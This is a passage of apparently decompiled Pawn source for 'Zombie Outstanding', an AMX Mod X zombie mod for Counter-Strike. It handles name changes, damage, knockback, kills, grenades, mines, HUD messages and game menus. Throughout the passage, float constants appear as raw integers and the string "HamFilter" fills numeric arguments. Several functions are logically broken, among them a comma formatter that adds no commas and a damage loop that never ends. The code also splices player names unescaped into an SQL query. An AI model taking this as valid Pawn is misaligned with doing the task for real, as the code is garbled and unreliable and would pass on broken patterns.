- }
- return 0;
- }
- public client_infochanged(iClient)
- {
- if (g_bConnected[iClient])
- {
- static NewName[33];
- get_user_info(iClient, "name", NewName, 32);
- strip_name(NewName, 32);
- if (!equali(g_cName[iClient], NewName, "HamFilter"))
- {
- OnNameChanged(iClient, NewName);
- }
- }
- return 0;
- }
- OnNameChanged(iPlayer, cName[])
- {
- static Float:fCurrentTime;
- fCurrentTime = get_gametime();
- new var1;
- if (!g_bRanked[iPlayer] || floatsub(fCurrentTime, g_fLastNameChanged[iPlayer]) < 1082130432)
- {
- server_cmd("kick #%d Stop changing your name so fast!", get_user_userid(iPlayer));
- }
- else
- {
- if (g_bRanked[iPlayer])
- {
- g_bRanked[iPlayer] = 0;
- formatex(g_cName[iPlayer], 32, "%s", cName);
- static cPlayer[3];
- num_to_str(iPlayer, cPlayer, "");
- formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[iPlayer]);
- if (floatsub(fCurrentTime, g_fLastQuery) >= 1073741824)
- {
- SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", g_cQuery, cPlayer, "");
- g_fLastNameChanged[iPlayer] = fCurrentTime;
- g_fLastQuery = fCurrentTime;
- }
- set_task(floatsub(floatadd(1073741824, g_fLastQuery), fCurrentTime), "TaskPreparePlayerChanged", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- g_fLastQuery = floatadd(1073741824, g_fLastQuery);
- g_fLastNameChanged[iPlayer] = fCurrentTime;
- g_bRanked[iPlayer] = 0;
- }
- }
- set_task(1084227584, "TaskCheckName", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- return 0;
- }
- public TaskCheckName(iPlayer)
- {
- if (g_bConnected[iPlayer])
- {
- if (g_bRanked[iPlayer])
- {
- check_for_swear(iPlayer);
- }
- set_task(1084227584, "TaskCheckName", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- }
- return 0;
- }
- public CmdMap(iPlayer)
- {
- new var1;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 55))
- {
- static cMap[32];
- read_argv(1, cMap, 32);
- if (is_map_valid(cMap))
- {
- set_cvar_num("mp_timelimit", 4096);
- set_cvar_string("nextmap", cMap);
- set_task(1065353216, "TimerChangeMap", "HamFilter", 318308, "HamFilter", 318312, "HamFilter");
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Admin\x03 %s\x01 changed map to\x04 %s", g_cName[iPlayer], cMap);
- }
- console_print(iPlayer, "[Zombie Outstanding] Map %s is not valid!", cMap);
- }
- return 0;
- }
- public OnTraceAttack(iVictim, iAttacker, Float:fDamage, Float:fDirection[3], iTrace, iDamageType)
- {
- new var1;
- if (iAttacker != iVictim && !0 < iAttacker < g_iMaxClients + 1)
- {
- return 1;
- }
- new var2;
- if ((g_bGolden[iAttacker] && g_iWeapon[iAttacker] == 28) || (g_bGoldenDeagle[iAttacker] && g_iWeapon[iAttacker] == 26))
- {
- Tracers(iAttacker);
- LightningTracers(iAttacker);
- }
- new var5;
- if (g_bRoundStart || g_bRoundEnd || g_bZombie[iVictim] != g_bZombie[iAttacker])
- {
- return 4;
- }
- new var6;
- if (!g_bZombie[iVictim] || g_bNoDamage[iVictim] || g_iPlayerType[iVictim] & 2 || !iDamageType & 2 || range(iVictim, iAttacker) > 500)
- {
- return 1;
- }
- static Float:fVelocity[3];
- get_velocity(iVictim, fVelocity);
- xs_vec_mul_scalar(fDirection, fDamage, fDirection);
- xs_vec_mul_scalar(fDirection, 8.75, fDirection);
- if (get_ent_flags(iVictim) & 16896 == 16896)
- {
- xs_vec_mul_scalar(fDirection, 0.25, fDirection);
- }
- if (g_iPlayerType[iVictim] & 1)
- {
- xs_vec_mul_scalar(fDirection, 0.15, fDirection);
- }
- else
- {
- xs_vec_mul_scalar(fDirection, g_fZombieKnockbacks[g_iZombieClass[iVictim]], fDirection);
- }
- xs_vec_add(fVelocity, fDirection, fDirection);
- fDirection[2] = fVelocity[2];
- set_velocity(iVictim, fDirection);
- return 1;
- }
- public OnTouch(iWeapon, iPlayer)
- {
- new var1;
- if (0 < iPlayer < g_iMaxClients + 1 && g_bZombie[iPlayer])
- {
- var2 = 4;
- }
- else
- {
- var2 = 1;
- }
- return var2;
- }
- public OnTakeDamage(iVictim, iInflictor, iAttacker, Float:fDamage, iDamageType)
- {
- new var1;
- if (iAttacker != iVictim && !0 < iAttacker < g_iMaxClients + 1)
- {
- return 1;
- }
- new var2;
- if (g_bRoundStart || g_bRoundEnd || g_bZombie[iVictim] != g_bZombie[iAttacker] || g_bNoDamage[iVictim])
- {
- return 4;
- }
- if (!g_bZombie[iAttacker])
- {
- new var3;
- if (g_iPlayerType[iAttacker] & 8 && g_iWeapon[iAttacker] == 18)
- {
- fDamage = 3000.0;
- SetHamParamFloat(4, fDamage);
- }
- else
- {
- if (!g_iPlayerType[iVictim])
- {
- fDamage = floatmul(1061158912, fDamage);
- SetHamParamFloat(4, fDamage);
- }
- if (g_bDoubleDamage[iAttacker])
- {
- fDamage = floatmul(1073741824, fDamage);
- SetHamParamFloat(4, fDamage);
- }
- new var4;
- if (g_bCachedDamage[iAttacker] && !iDamageType & 64 && iDamageType & 2)
- {
- fDamage = floatmul(1067240653, fDamage);
- SetHamParamFloat(4, fDamage);
- }
- new var8;
- if (!iDamageType & 64 && iDamageType & 2 && ((g_iWeapon[iAttacker] == 28 && g_bGolden[iAttacker]) || (g_iWeapon[iAttacker] == 26 && g_bGoldenDeagle[iAttacker])))
- {
- fDamage = floatmul(1071644672, fDamage);
- SetHamParamFloat(4, fDamage);
- }
- new var14 = g_fDamage[iAttacker];
- var14 = floatadd(var14, fDamage);
- while (g_fDamage[iAttacker] > 500.0)
- {
- g_iPacks[iAttacker]++;
- new var15 = g_fDamage[iAttacker];
- var15 = floatsub(var15, 1140457472);
- }
- new var16 = g_iPosition[iAttacker];
- var16++;
- if (var16 == 8)
- {
- g_iPosition[iAttacker] = 0;
- }
- set_hudmessage("HamFilter", g_cZombieInfectSounds, 80, g_fDamageCoords[g_iPosition[iAttacker]][0], g_fDamageCoords[g_iPosition[iAttacker]][1], "HamFilter", 1036831949, 1075838976, 1017370378, 1017370378, -1);
- if (iDamageType & 64)
- {
- static c[15];
- AddCommas(floatround(fDamage, "HamFilter"), c, 14);
- ShowSyncHudMsg(iAttacker, g_iDamageSync[g_iPosition[iAttacker]], "%s", c);
- }
- ShowSyncHudMsg(iAttacker, g_iDamageSync[g_iPosition[iAttacker]], "%0.0f", fDamage);
- }
- return 1;
- }
- if (iDamageType & 16777216)
- {
- return 4;
- }
- new var9;
- if (g_iPlayerType[iAttacker] & 1 || g_iPlayerType[iAttacker] & 2 || g_iRoundType & 4 || g_iRoundType & 1 || g_iRoundType & 64 || g_iRoundType & 32 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || GetHumans() == 1)
- {
- if (g_iPlayerType[iAttacker])
- {
- SetHamParamFloat(4, 1132068864);
- }
- return 1;
- }
- static iHumans;
- static iZombies;
- static iDamage;
- static iArmor;
- iArmor = get_armor(iVictim);
- iDamage = floatround(fDamage, "HamFilter");
- if (0 < iArmor)
- {
- if (0 < iArmor - iDamage)
- {
- set_armor(iVictim, iArmor - iDamage);
- }
- else
- {
- reset_armor(iVictim);
- }
- sound(iVictim, 4, "ZombieOutstanding/armor_hit.wav");
- return 4;
- }
- MakeZombie(iAttacker, iVictim, false, false, false);
- iZombies = GetZombies();
- iHumans = GetHumans();
- if (iZombies < iHumans)
- {
- new var10;
- if (iZombies < 4 && iZombies && g_bZombie[iVictim] && !g_bZombie[iAttacker])
- {
- set_hudmessage(255, 255, 255, 1017370378, 1058558444, 2, 1028443341, 1036831949, 1017370378, 1077936128, -1);
- new var11;
- if (iZombies != 1)
- {
- var11 = 414556;
- }
- else
- {
- var11 = 414564;
- }
- ShowSyncHudMsg("HamFilter", g_iRemainingSync, "%d Zombie%s Remaining...", iZombies, var11);
- }
- }
- else
- {
- if (iZombies > iHumans)
- {
- new var12;
- if (iHumans < 4 && iHumans && g_bZombie[iAttacker] && !g_bZombie[iVictim])
- {
- set_hudmessage(255, 255, 255, 1017370378, 1058558444, 2, 1028443341, 1036831949, 1017370378, 1077936128, -1);
- new var13;
- if (iHumans != 1)
- {
- var13 = 414664;
- }
- else
- {
- var13 = 414672;
- }
- ShowSyncHudMsg("HamFilter", g_iRemainingSync, "%d Human%s Remaining...", iHumans, var13);
- }
- }
- }
- return 4;
- }
- public OnPlayerJump(iPlayer)
- {
- if (g_bAlive[iPlayer])
- {
- new var1;
- if (g_bZombie[iPlayer] && !g_iPlayerType[iPlayer] && g_iZombieClass[iPlayer] == 3)
- {
- static iFlags;
- iFlags = get_ent_flags(iPlayer);
- new var2;
- if (!iFlags & 512 && !get_oldbuttons(iPlayer) & 2 && !g_iJumps[iPlayer])
- {
- static Float:fVelocity[3];
- get_velocity(iPlayer, fVelocity);
- fVelocity[2] = random_float(1132756992, 1133412352);
- set_velocity(iPlayer, fVelocity);
- g_iJumps[iPlayer]++;
- }
- if (iFlags & 512)
- {
- g_iJumps[iPlayer] = 0;
- }
- }
- new var3;
- if (!g_bZombie[iPlayer] && g_iMaxJumps[iPlayer])
- {
- static iFlags;
- iFlags = get_ent_flags(iPlayer);
- new var4;
- if (!iFlags & 512 && !get_oldbuttons(iPlayer) & 2 && g_iJumps[iPlayer] <= g_iMaxJumps[iPlayer] - 1)
- {
- static Float:fVelocity[3];
- get_velocity(iPlayer, fVelocity);
- fVelocity[2] = random_float(1132756992, 1133412352);
- set_velocity(iPlayer, fVelocity);
- g_iJumps[iPlayer]++;
- }
- if (iFlags & 512)
- {
- g_iJumps[iPlayer] = 0;
- }
- }
- }
- return 0;
- }
- public OnPrimaryAttack(iEntity)
- {
- static iOwner;
- iOwner = pev(iEntity, 2);
- new var1;
- if (g_bZombie[iOwner] && g_iBlinks[iOwner])
- {
- static iTarget;
- iTarget = get_target_and_attack(iOwner);
- if (iTarget)
- {
- g_iBlinks[iOwner]--;
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 just used a\x04 Knife Blink\x01 [\x04 %d remaining\x01 ]", g_cName[iOwner], g_iBlinks[iOwner]);
- }
- }
- return 0;
- }
- GetLastHuman()
- {
- new i = 1;
- while (i <= g_iMaxClients)
- {
- new var1;
- if (g_bAlive[i] && g_bConnected[i] && !g_bZombie[i])
- {
- return i;
- }
- i++;
- }
- return 0;
- }
- GetLastZombie()
- {
- new i = 1;
- while (i <= g_iMaxClients)
- {
- new var1;
- if (g_bAlive[i] && g_bConnected[i] && g_bZombie[i])
- {
- return i;
- }
- i++;
- }
- return 0;
- }
- public OnKilled(iVictim, iAttacker, iGibs)
- {
- static iHumans;
- static iZombies;
- g_bFlash[iVictim] = 1;
- g_bGoldenDeagle[iVictim] = 0;
- g_bGolden[iVictim] = 0;
- g_bKilling[iVictim] = 0;
- g_bFlashEnabled[iVictim] = 1;
- g_bTryder[iVictim] = 0;
- g_bUnlimitedClip[iVictim] = 0;
- g_bFrozen[iVictim] = 0;
- set_frozen(iVictim, "HamFilter");
- remove_task(iVictim + 350, "HamFilter");
- set_task(1036831949, "TaskFlash", iVictim + 350, 318308, "HamFilter", 415052, "HamFilter");
- g_bAlive[iVictim] = 0;
- iZombies = GetZombies();
- iHumans = GetHumans();
- if (iZombies < iHumans)
- {
- new var1;
- if (iZombies < 4 && iZombies && g_bZombie[iVictim] && iAttacker > 0 && iAttacker <= g_iMaxClients && !g_bZombie[iAttacker])
- {
- set_hudmessage(255, 255, 255, 1017370378, 1058558444, 2, 1028443341, 1036831949, 1017370378, 1077936128, -1);
- new var2;
- if (iZombies != 1)
- {
- var2 = 415160;
- }
- else
- {
- var2 = 415168;
- }
- ShowSyncHudMsg("HamFilter", g_iRemainingSync, "%d Zombie%s Remaining...", iZombies, var2);
- }
- }
- else
- {
- if (iZombies > iHumans)
- {
- new var3;
- if (iHumans < 4 && iHumans && iAttacker > 0 && iAttacker <= g_iMaxClients && g_bZombie[iAttacker] && !g_bZombie[iVictim])
- {
- set_hudmessage(255, 255, 255, 1017370378, 1058558444, 2, 1028443341, 1036831949, 1017370378, 1077936128, -1);
- new var4;
- if (iHumans != 1)
- {
- var4 = 415268;
- }
- else
- {
- var4 = 415276;
- }
- ShowSyncHudMsg("HamFilter", g_iRemainingSync, "%d Human%s Remaining...", iHumans, var4);
- }
- }
- }
- new var5;
- if (iZombies == 1 && iHumans == 1)
- {
- set_hudmessage(random_num("HamFilter", 255), random_num("HamFilter", 255), random_num("HamFilter", 255), -1082130432, 1050924810, 2, 1028443341, 1036831949, 1017370378, 1077936128, -1);
- ShowSyncHudMsg("HamFilter", g_iVersusSync, "%s vs %s", g_cName[GetLastHuman()], g_cName[GetLastZombie()]);
- }
- new var6;
- if (iAttacker != iVictim && !0 < iAttacker < g_iMaxClients + 1)
- {
- if (g_bZombie[iVictim])
- {
- remove_task(iVictim + 200, "HamFilter");
- }
- return 0;
- }
- if (!g_bZombie[iAttacker])
- {
- if (g_iPlayerType[iAttacker] & 8)
- {
- send_lava_splash(iVictim);
- Make_Explosion(iVictim, iAttacker);
- g_Hidden[iVictim] = 1;
- if (random_num(1, 4) == 1)
- {
- g_iPoints[iAttacker] += 1;
- set_hudmessage(255, 180, 30, -1082130432, 1036831949, 1, "HamFilter", 1071644672, 1065353216, 1065353216, -1);
- ShowSyncHudMsg(iAttacker, g_iRegenerationSync, "== SNIPER ==\n!!!Randomly got +1 point!!!\n[25% chance per zombie]");
- }
- }
- else
- {
- g_iPacks[iAttacker]++;
- new var9 = g_iPoints[iAttacker];
- new var7;
- if (g_iPlayerType[iAttacker])
- {
- var7 = 1;
- }
- else
- {
- var7 = 2;
- }
- var9 = var9[var7];
- g_iScore[iAttacker] += 25;
- g_iScore[iVictim] -= 16;
- remove_task(iVictim + 200, "HamFilter");
- }
- if (g_iPlayerType[iAttacker])
- {
- SetHamParamInteger("", 2);
- Make_Headshot_Blood(iVictim);
- }
- }
- else
- {
- g_iPacks[iAttacker] += 2;
- if (!g_iPlayerType[iAttacker])
- {
- g_iPoints[iAttacker]++;
- }
- g_iScore[iAttacker] += 12;
- g_iScore[iVictim] -= 20;
- new var8;
- if (g_iZombieClass[iAttacker] == 6 && !g_iPlayerType[iAttacker])
- {
- SetHamParamInteger("", 2);
- send_screen_fade(iAttacker);
- }
- if (g_iPlayerType[iAttacker])
- {
- SetHamParamInteger("", 2);
- Make_Explosion(iVictim, iAttacker);
- g_Hidden[iVictim] = 1;
- }
- }
- g_iKills[iAttacker]++;
- g_iDeaths[iVictim]++;
- g_iKillsThisRound[iAttacker]++;
- SaveRank(iAttacker);
- SaveRank(iVictim);
- return 0;
- }
- public OnGrenadeThink(iEntity)
- {
- if (get_dmgtime(iEntity) > get_gametime())
- {
- return 1;
- }
- switch (pev(iEntity, 5))
- {
- case 1:
- {
- Infection_Explode(iEntity);
- return 4;
- }
- case 2:
- {
- Fire_Explode(iEntity);
- return 4;
- }
- case 3:
- {
- Freeze_Explode(iEntity);
- return 4;
- }
- case 4:
- {
- Explosion_Explode(iEntity);
- return 4;
- }
- case 5:
- {
- Killing_Explode(iEntity);
- return 4;
- }
- default:
- {
- return 1;
- }
- }
- }
- public OnPlayerDuck(iPlayer)
- {
- new var1;
- if (!g_bFrozen[iPlayer] && g_bZombie[iPlayer] && !g_iPlayerType[iPlayer] & 2)
- {
- static Float:fCurrentTime;
- static Float:fCoolDown;
- if (g_iPlayerType[iPlayer])
- {
- fCoolDown = 1.0;
- }
- else
- {
- fCoolDown = 13.0;
- }
- fCurrentTime = get_gametime();
- new var2;
- if (floatsub(fCurrentTime, g_fLastLeapTime[iPlayer]) < fCoolDown || !get_button(iPlayer) & 2 || !get_ent_flags(iPlayer) & 512 || GetEntitySpeed(iPlayer) < 80)
- {
- return 0;
- }
- static Float:fVelocity[3];
- if (g_iPlayerType[iPlayer])
- {
- velocity_by_aim(iPlayer, 500, fVelocity);
- fVelocity[2] = 1133903872;
- }
- else
- {
- velocity_by_aim(iPlayer, 360, fVelocity);
- fVelocity[2] = 1132068864;
- }
- set_velocity(iPlayer, fVelocity);
- g_fLastLeapTime[iPlayer] = fCurrentTime;
- }
- return 0;
- }
- public OnPreFrame(iPlayer)
- {
- if (g_bAlive[iPlayer])
- {
- if (g_bFrozen[iPlayer])
- {
- set_speed(iPlayer, 1065353216);
- if (get_ent_flags(iPlayer) & 512)
- {
- set_gravity(iPlayer, 1232348158);
- }
- else
- {
- set_gravity(iPlayer, 897988541);
- }
- }
- if (g_bTryder[iPlayer])
- {
- set_gravity(iPlayer, 1057803469);
- set_speed(iPlayer, 1132068864);
- }
- if (g_bZombie[iPlayer])
- {
- if (!g_iPlayerType[iPlayer])
- {
- set_speed(iPlayer, g_fZombieSpeeds[g_iZombieClass[iPlayer]]);
- set_gravity(iPlayer, g_fZombieGravities[g_iZombieClass[iPlayer]]);
- }
- else
- {
- if (g_iPlayerType[iPlayer] & 1)
- {
- set_speed(iPlayer, 1132068864);
- set_gravity(iPlayer, 1056964608);
- }
- if (g_iPlayerType[iPlayer] & 2)
- {
- set_speed(iPlayer, 1142292480);
- set_gravity(iPlayer, 1053609165);
- }
- }
- }
- if (!g_iPlayerType[iPlayer])
- {
- set_speed(iPlayer, 1131413504);
- set_gravity(iPlayer, 1065353216);
- }
- if (g_iPlayerType[iPlayer] & 4)
- {
- set_speed(iPlayer, 1132068864);
- set_gravity(iPlayer, 1062836634);
- }
- if (g_iPlayerType[iPlayer] & 8)
- {
- set_speed(iPlayer, 1131413504);
- set_gravity(iPlayer, 1066192077);
- }
- }
- return 0;
- }
- public Rocket_Touch(iOwner, iRocket)
- {
- if (g_bConnected[iOwner])
- {
- static cDamage[15];
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var1;
- if (g_bAlive[i] && g_bZombie[i])
- {
- static Float:fDamage;
- static iDistance;
- iDistance = range(i, iRocket);
- if (iDistance < 320)
- {
- fDamage = float(1250 - iDistance);
- static Float:fVelocity[3];
- get_velocity(i, fVelocity);
- xs_vec_mul_scalar(fVelocity, 2.5, fVelocity);
- set_velocity(i, fVelocity);
- send_screen_shake(i);
- send_screen_fade(i);
- client_cmd(i, "spk fvox/flatline");
- if (floatsub(float(get_health(i)), fDamage) > 0)
- {
- ExecuteHamB(9, i, iRocket, iOwner, fDamage, 64);
- }
- else
- {
- ExecuteHamB(11, i, iOwner, 2);
- Make_Explosion(i, iOwner);
- g_Hidden[i] = 1;
- }
- if (g_iPlayerType[i])
- {
- if (g_bDoubleDamage[iOwner])
- {
- AddCommas(floatround(floatmul(1073741824, fDamage), "HamFilter"), cDamage, 14);
- }
- else
- {
- AddCommas(floatround(fDamage, "HamFilter"), cDamage, 14);
- }
- PrintToChat(iOwner, "\x04[Zombie Outstanding]\x01 Damage to\x03 %s\x01 ::\x04 %s damage", g_cName[i], cDamage);
- }
- if (g_bDoubleDamage[iOwner])
- {
- AddCommas(floatround(floatmul(1069547520, fDamage), "HamFilter"), cDamage, 14);
- }
- else
- {
- AddCommas(floatround(floatmul(1061158912, fDamage), "HamFilter"), cDamage, 14);
- }
- PrintToChat(iOwner, "\x04[Zombie Outstanding]\x01 Damage to\x03 %s\x01 ::\x04 %s damage", g_cName[i], cDamage);
- }
- }
- i += 1;
- }
- }
- return 0;
- }
- public Mine_Think(iEntity, iHealth)
- {
- static cHealth[15];
- static bool:bStop;
- static iOwner;
- bStop = false;
- iOwner = iuser2(iEntity);
- switch (pev(iEntity, ""))
- {
- case 0:
- {
- set_pev(iEntity, "", 1);
- set_take_damage(iEntity, 2);
- set_pev(iEntity, 1, 2);
- set_health(iEntity, 1800);
- sound(iEntity, "", "ZombieOutstanding/mine_activate.wav");
- }
- case 1:
- {
- if (g_iPlayerMines[iOwner][0] == iEntity)
- {
- AddCommas(iHealth + -1000, cHealth, 14);
- set_hudmessage(10, 255, 200, 1036831949, 1051931443, "HamFilter", 1036831949, 1036831949, 1036831949, 1036831949, 18);
- ShowSyncHudMsg(iOwner, g_iMineMessage, "First mine's health: %s", cHealth);
- }
- if (g_iPlayerMines[iOwner][1] == iEntity)
- {
- AddCommas(iHealth + -1000, cHealth, 14);
- set_hudmessage(10, 255, 200, 1036831949, 1052938076, "HamFilter", 1036831949, 1036831949, 1036831949, 1036831949, 18);
- ShowSyncHudMsg(iOwner, g_iSecondMineMessage, "Second mine's health: %s", cHealth);
- }
- if (iHealth <= 1000)
- {
- Func_Explode(iEntity);
- bStop = true;
- }
- }
- default:
- {
- }
- }
- if (!bStop)
- {
- set_nextthink(iEntity, floatadd(1036831949, get_gametime()));
- }
- return 0;
- }
- public Grenade_Thrown(iOwner, iGrenade, iGrenadeType)
- {
- if (g_bZombie[iOwner])
- {
- send_beam_follow(iGrenade, "HamFilter", 250, "HamFilter", 200);
- set_pev(iGrenade, 5, 1);
- return 0;
- }
- switch (iGrenadeType)
- {
- case 4:
- {
- if (!g_bKilling[iOwner])
- {
- send_beam_follow(iGrenade, 200, g_cZombieInfectSounds, 20, 200);
- set_pev(iGrenade, 5, 2);
- }
- else
- {
- send_beam_follow(iGrenade, 127, "HamFilter", 255, 200);
- set_pev(iGrenade, 5, 5);
- g_bKilling[iOwner] = 0;
- }
- }
- case 9:
- {
- send_beam_follow(iGrenade, 255, "HamFilter", "HamFilter", 200);
- set_pev(iGrenade, 5, 4);
- }
- case 25:
- {
- send_beam_follow(iGrenade, "HamFilter", 100, 200, 200);
- set_pev(iGrenade, 5, "");
- }
- default:
- {
- }
- }
- return 0;
- }
- public TaskCheckFlash(iPlayer)
- {
- new var1;
- if (!g_bConnected[iPlayer] || g_bAlive[iPlayer])
- {
- return 0;
- }
- g_bFlashEnabled[iPlayer] = 1;
- g_bFlash[iPlayer] = 1;
- remove_task(iPlayer + 350, "HamFilter");
- set_task(1036831949, "TaskFlash", iPlayer + 350, 318308, "HamFilter", 416616, "HamFilter");
- return 0;
- }
- public MessageTeamInfo(iMessage, iDestination)
- {
- static cTeam[2];
- static iPlayer;
- static i;
- static iNum;
- static iPlayers[32];
- get_players(iPlayers, iNum, "ch", 397036);
- i = 0;
- while (i < iNum)
- {
- new var1;
- if (g_bConnected[iPlayers[i]] && get_button(iPlayers[i]) & 32768 && get_oldbuttons(iPlayers[i]) & 32768)
- {
- Update_Client_Data(iPlayers[i]);
- }
- i += 1;
- }
- new var2;
- if ((iDestination != 2 && iDestination) || g_bSwitching)
- {
- return 0;
- }
- iPlayer = get_msg_arg_int(1);
- new var4;
- if (!0 < iPlayer < g_iMaxClients + 1 || !g_bConnected[iPlayer] || !is_user_connected(iPlayer))
- {
- return 0;
- }
- set_task(1045220557, "TaskCheckFlash", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- if (g_bVip[iPlayer])
- {
- set_task(1036831949, "TaskDoScore", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- set_task(1046898278, "TaskDoScore", iPlayer, 318308, "HamFilter", 318312, "HamFilter");
- }
- if (!g_bModeStarted)
- {
- return 0;
- }
- get_msg_arg_string(2, cTeam, 2);
- switch (cTeam[0])
- {
- case 67:
- {
- new var7;
- if ((g_iRoundType & 4 || g_iRoundType & 8) && GetHumans())
- {
- set_team(iPlayer, 1);
- set_msg_arg_string(2, "TERRORIST");
- }
- else
- {
- if (!GetZombies())
- {
- set_team(iPlayer, 1);
- set_msg_arg_string(2, "TERRORIST");
- }
- }
- }
- case 84:
- {
- new var5;
- if ((g_iRoundType & 64 || g_iRoundType & 4 || g_iRoundType & 8) && GetHumans())
- {
- }
- else
- {
- if (GetZombies())
- {
- set_team(iPlayer, 2);
- set_msg_arg_string(2, "CT");
- }
- }
- }
- default:
- {
- }
- }
- return 0;
- }
- AddCommas(Num, Output[], Len)
- {
- new Tmp[15];
- new OutputPos;
- new NumPos;
- new NumLen;
- if (0 > Num)
- {
- OutputPos++;
- Output[OutputPos] = 45;
- Num = abs(Num);
- }
- NumLen = num_to_str(Num, Tmp, 14);
- if (NumLen <= 3)
- {
- OutputPos = copy(Output[OutputPos], Len, Tmp) + OutputPos;
- }
- return 0;
- }
- public MessageHealth(iMessage, iDestination, iEntity)
- {
- static iHealth;
- iHealth = get_msg_arg_int(1);
- if (iHealth > 255)
- {
- if (!(iHealth % 256))
- {
- set_health(iEntity, get_health(iEntity) + 1);
- }
- set_msg_arg_int(1, get_msg_argtype(1), 255);
- }
- return 0;
- }
- public TaskRemoveMadness(iPlayer)
- {
- if (g_bConnected[iPlayer])
- {
- g_bNoDamage[iPlayer] = 0;
- if (!g_iPlayerType[iPlayer] & 1)
- {
- remove_glow(iPlayer);
- }
- set_take_damage(iPlayer, 2);
- }
- return 0;
- }
- public TaskPrintPassword(iPlayer)
- {
- if (g_bConnected[iPlayer])
- {
- send_say_text(iPlayer, g_iMaxClients + 1, "\x04[Zombie Outstanding]\x01 Type a password for your account!");
- }
- return 0;
- }
- public TaskWelcome()
- {
- PrintToChat(0, "\x01****\x04 Zombie Outstanding\x01 by\x03 Hattrick\x01 ||\x04 Zm.CsDevils.Com\x01 ****");
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Press\x04 M\x01 to open the game menu!");
- return 0;
- }
- public TaskAmbience()
- {
- if (g_iRoundType & 4)
- {
- client_cmd("HamFilter", "spk ZombieOutstanding/ambience_survivor");
- }
- else
- {
- client_cmd("HamFilter", "spk ZombieOutstanding/ambience_normal");
- }
- return 0;
- }
- public TaskZombie()
- {
- if ((g_iAliveCount = GetAliveCount()))
- {
- g_bRoundStart = false;
- if (g_iRoundsCount > 3)
- {
- StartSwarmMode(false);
- }
- else
- {
- StartNormalMode(0);
- }
- }
- else
- {
- set_task(1086324736, "TaskZombie", 550, 318308, "HamFilter", 318312, "HamFilter");
- }
- return 0;
- }
- public TaskHud(iTask)
- {
- static cPoints[15];
- static cPacks[15];
- static cHealth[15];
- static iPlayer;
- iPlayer = iTask + -300;
- if (!g_bAlive[iPlayer])
- {
- iPlayer = iuser2(iPlayer);
- if (!g_bAlive[iPlayer])
- {
- return 0;
- }
- }
- if (iTask + -300 != iPlayer)
- {
- AddCommas(get_health(iPlayer), cHealth, 14);
- AddCommas(g_iPacks[iPlayer], cPacks, 14);
- AddCommas(g_iPoints[iPlayer], cPoints, 14);
- set_hudmessage(10, 180, 150, -1082130432, 1061830001, "HamFilter", 1086324736, 1066192077, "HamFilter", "HamFilter", -1);
- new var1;
- if (g_bVip[iPlayer])
- {
- var1 = 125988;
- }
- else
- {
- var1 = 418608;
- }
- ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Spectating %s%s\n%s, Health: %s Armor: %d Packs: %s Points: %s\nFrom: %s, %s", var1, g_cName[iPlayer], g_cClass[iPlayer], cHealth, get_armor(iPlayer), cPacks, cPoints, Data[iPlayer][1], Data[iPlayer][4]);
- }
- else
- {
- AddCommas(get_health(iTask + -300), cHealth, 14);
- AddCommas(g_iPacks[iTask + -300], cPacks, 14);
- AddCommas(g_iPoints[iTask + -300], cPoints, 14);
- new var2;
- if (g_bZombie[iTask + -300])
- {
- var2 = 60;
- }
- else
- {
- var2 = 180;
- }
- new var3;
- if (g_bZombie[iTask + -300])
- {
- var3 = 135;
- }
- else
- {
- var3 = 120;
- }
- new var4;
- if (g_bZombie[iTask + -300])
- {
- var4 = 180;
- }
- else
- {
- var4 = 0;
- }
- set_hudmessage(var4, var3, var2, 1017370378, 1063675494, "HamFilter", 1086324736, 1066192077, "HamFilter", "HamFilter", -1);
- ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "%s, Health: %s Armor: %d Packs: %s Points: %s", g_cClass[iTask + -300], cHealth, get_armor(iTask + -300), cPacks, cPoints);
- }
- return 0;
- }
- public TaskFlash(iTask)
- {
- flash(iTask + -350);
- return 0;
- }
- public _GameMenu(iPlayer, iMenu, iItem)
- {
- new var1;
- if (iItem != -3 && g_bConnected[iPlayer])
- {
- static iChoice;
- static iDummy;
- static cBuffer[3];
- menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, "", {0}, "HamFilter", iDummy);
- iChoice = str_to_num(cBuffer);
- switch (iChoice)
- {
- case 0:
- {
- new var5;
- if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer])
- {
- static cNumber[3];
- static cLine[128];
- static i;
- g_iMenuExtraItems = menu_create("Extra Items", "_ExtraItems", "HamFilter");
- i = 0;
- while (i < 25)
- {
- new var6;
- if (g_iExtraItemsTeams[i] == 1 && !g_bZombie[iPlayer])
- {
- }
- else
- {
- new var7;
- if (!(g_bZombie[iPlayer] && g_iExtraItemsTeams[i] == 2))
- {
- formatex(cLine, 128, "%s %s", g_cExtraItems[i], g_cExtraItemsPrices[i]);
- num_to_str(i, cNumber, "");
- menu_additem(g_iMenuExtraItems, cLine, cNumber, "HamFilter", -1);
- }
- }
- i += 1;
- }
- menu_display(iPlayer, g_iMenuExtraItems, "HamFilter");
- }
- else
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 Extra items are unavailable right now...");
- }
- }
- case 1:
- {
- menu_display(iPlayer, g_iMenuZombieClasses, "HamFilter");
- }
- case 2:
- {
- static cNumber[3];
- static cLine[128];
- static i;
- g_iShopMenu = menu_create("Shop Menu", "_ShopMenu", "HamFilter");
- i = 0;
- while (i < 8)
- {
- new var4;
- if (g_iShopItemsTeams[i] == 2 && g_bZombie[iPlayer])
- {
- }
- else
- {
- formatex(cLine, 128, "%s %s", g_cShopItems[i], g_cShopItemsPrices[i]);
- num_to_str(i, cNumber, "");
- menu_additem(g_iShopMenu, cLine, cNumber, "HamFilter", -1);
- }
- i += 1;
- }
- menu_display(iPlayer, g_iShopMenu, "HamFilter");
- }
- case 3:
- {
- new var3;
